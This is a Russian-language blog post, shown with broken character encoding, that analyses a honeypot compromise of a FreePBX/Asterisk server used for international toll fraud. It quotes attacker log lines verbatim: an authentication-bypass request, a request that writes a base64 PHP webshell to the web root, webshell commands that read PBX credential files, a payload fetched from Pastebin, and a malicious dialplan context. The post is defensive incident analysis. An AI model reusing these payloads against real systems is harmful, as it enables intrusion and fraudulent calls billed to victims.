ѕодпишитесь на наш Telegram-канал Ѕудьте в курсе последних новостей 👇 😉 ѕодписатьс€
ѕоддержим в трудное врем€ —пециальное предложение на техническую поддержку вашей »“ - инфраструктуры силами наших экспертов ѕодобрать тариф
ѕоставка оборудовани€ √аранти€ и помощь с настройкой. —кидка дл€ наших читателей по промокоду WIKIMERIONET  упить
»нтерфейс статистики Merion Mertics показывает ключевые диаграммы и графики по звонкам, а также историю звонков в формате, который легко поймет менеджер ѕопробовать бесплатно
¬недрение
офисной телефонии
Ўаг на пути к созданию доступных унифицированных коммуникаций в вашей компании ¬недрить
»нтеграци€ с CRM ѕомогаем навести пор€док с данными
и хранить их в единой экосистеме
ѕодключить
»“ Ѕезопасность ”мна€ информационна€ безопасность дл€ вашего бизнеса «аказать
ћерион Ќетворкс

8 минут чтени€

ѕривет друг! “ы наверн€ка слышал что-то про взлом IP-ј“—, когда злоумышленники звон€т в другие страны по международной св€зи, а жертве приходит большой счЄт от провайдера.   большому сожалению Ц это правда и сейчас € по косточкам разберу метод такой атаки на IP-ј“— Asterisk с графической оболочкой FreePBX, который позвол€ет плохим парн€м бесчестно наживатьс€ на чужих ошибках, чтобы ты мог защитить себ€ и не стать очередной жертвой, за счЄт которой позвонили в —омали.

TL;DR: √рафический интерфейс FreePBX имеет у€звимости удаленного исполнени€ кода (RCE Ц Remote Code Execution), в различных компонентах. ¬от некоторые из них:
  • CVE-2014-7235 Ц ”€звимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5.
  • SEC-2016-004 - ”€звимость с модул€х Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26)
  • CVE-2019-19006 (SEC-2019-001) Ц ”€звимость Framework FreePBX в верси€х ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26
¬се эти у€звимости позвол€ют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполн€ть команды на сервере с проблемной версией софта. «лоумышленники используют данные у€звимости дл€ совершени€ исход€щих звонков через свой контекст. Ёто значит, что если ты оставишь вэб-морду FreePBX открытой всему »нтернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно Ц за твой счЄт позвон€т другие.

“ак что Ќ» ќ√ƒј не открывай доступ веб-интерфейсу своей IP-ј“— дл€ всего »нтернета, и вообще старайс€ ограничивать доступ к любым портам. ј также ¬—≈√ƒј обращай внимание на уведомление об обнаруженных у€звимост€х и своевременно устанавливай обновлени€ безопасности на всех продуктах! Ќо если ты всЄ же решил оставить свой FreePBX с открытым web-портом и забить на обновлени€ Ц читай что будет дальше.


–азведка (Reconnaisance)

ѕрежде чем достичь своей цели (позвонить за твой счЄт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. —делать это очень просто, нужно просканировать порты. ƒл€ нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. »менно на них обычно висит страничка с аутентификацией. ќтлично, нашли кучу адресов с торчащим наружу нужным портом, но как пон€ть, что там именно FreePBX с у€звимой версией софта? ≈сть несколько способов Ц можно бить по всему подр€д в надежде, что сервер у€звим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. ѕо умолчанию Ц установленна€ верси€ отображаетс€ на той же страничке с окном аутентификации. ƒавайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники.

„тобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) Ц это намеренно непропатченный, у€звимый сервер дл€ того чтобы изучать действи€ хакеров. ћы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты)

ѕримерно через час после Уоткрыти€Ф нашей ловушки, мы увидели такую картину:

HTTP обращени€ к серверу

Ќа картинке показаны обращени€ к ресурсам нашего сервера (11.22.33.44), ответы от него и User-AgentТы, с которых осуществл€лись обращени€. Ќапример, рассмотрим следующее обращение:

169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"

«десь:

  • 169.197.108[.]42 Ц адрес, с которого осуществл€лось обращение;
  • GET /admin - запрос страницы https://11.22.33[.]44/admin;
  • 301 Ц ответ HTTP 302 (Moved Permanently Ц ѕеремещено навсегда). ќтвет сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен;
  • "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 дл€ Windows 10. Ёто значит, что дл€ доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome.

ƒл€ большей нагл€дности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ќ  и вернул запрашиваемую информацию). ¬ их числе:

  • 169.197.108[.]42
  • 198.108.66[.]192
  • 45.143.221[.]50
  • 173.212.225[.]214
  • 45.143.220[.]111

≈сли присмотретьс€ внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действи€ 173.212.225[.]214.

Ћог HTTP обращений

ќбратите внимание, что он также пытаетс€ обращатьс€ к ресурсам €вно не относ€щимс€ к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытаетс€ исполнить интересный скрипт:

/rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
/admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"

ƒоставка (Delivery)

Ёти обращени€ Ц есть ни что иное как попытка создани€ скрипта на нашей IP-ј“— дл€ совершени€ исход€щих звонков. ќднако хоть нас и обнаружили, злоумышленнику не удаЄтс€ обратитьс€ к нужному компоненту Ц скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden).

ќбратите также внимание на User-agentТы - python-requests/2.22.0 и libwww-perl/6.42. Ёто уже не просто браузеры, а WWW библиотеки Pearl и Python.

ѕозднее, кому-то на адресе 45.143.220[.]111 всЄ-таки удаЄтс€ создать /rr.php. ƒл€ этого используетс€ уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64".

—оздание rr.php

—оздание rr.php происходит после ввода:

"GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64"

—амо содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке:

20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg

¬от дешифровка:

—одержимое rr.php

Ётот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинаетс€ самое интересное. «аметили строчку config.php?display=cli? ƒа, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно!

ќбратите внимание на смену User AgentТа в 16:17:53 Ц "curl/7.29.0". Ёто значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещЄ. ƒавайте вы€сним Ц зачем?


»нсталл€ци€ (Installation)

ƒл€ этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за врем€ использовани€ curl.

Error log

¬ глаза сразу же бросаетс€ обращение на Pastebin (сайт, куда можно загружать любой текст или код дл€ просмотра всем желающим) по ссылке /raw/Dbnw6kqb. ѕерейд€ по данной ссылке нас встречает уже знакома€ кодировка base64, причЄм код зачем-то повтор€етс€ дважды:

Pastebin

–асшифруем:

–асшифрованный код

¬с€ эта радость сохран€етс€ по пути /var/www/html/badr.php

Ќа самом деле, вариаций этого скрипта довольно много, иногда он скачиваетс€ по част€м с разных сайтов, иногда в нЄм можно обнаружить попытки затирани€ свидетельств компрометации.  ак видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с парол€ми ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить.

”правление (Command & Control)

ћы, а точнее плохие парни, почти на финишной пр€мой. ѕомнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? —амое врем€ вернутьс€ к нему!

Ќапомню Ц это простенький php-скрипт, который просит всего одну переменную - yokyok и позвол€ет передать в неЄ абсолютно любой параметр. ѕользу€сь этой замечательной возможностью, хакеры передают туда (врем€ 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменЄнный файл /etc/asterisk/sip_additional.conf.

 ак можно догадатьс€ Ц в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счЄт. ¬от он:

[badr-outcall]; thankuohoh
exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh
exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})}); 
thankuohoh                                                                                                                                                           
exten => _.,n,Set(_NODEST=); thankuohoh
exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(outisbusy,); thankuohoh

PROFIT (Actions on Objectives)

Ќу чтож, как говоритс€:

ѕогнали, народ

 ак ты, наверное, уже пон€л Ц звонить они тоже будут через rr.php и yokyok. «ахотели позвонить в ”ганду или на —ейшельские острова? ѕожалуйста:

45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"

ј ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам:

Ќепри€тненько

Ќу хоть УспасибоФ сказали. “ы же заметил, как называетс€ контекст, который нам сделали - thankuohoh? ∆аль нельз€ прослушать о чЄм они там говорили.. ?

Ќу, а если не хочешь, чтобы и твой Asterisk тоже досталс€ хакерам Ц скорее беги закрывать 443, 80, 8080 и устанавливать последние обновлени€ безопасности!

PS:  стати, нашу ловушку €вно пробили через у€звимость CVE-2019-19006 (SEC-2019-001):

[SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001
[INFO] (bin/module_admin:631) - framework           13.0.195.4        Online upgrade available (13.0.197.14)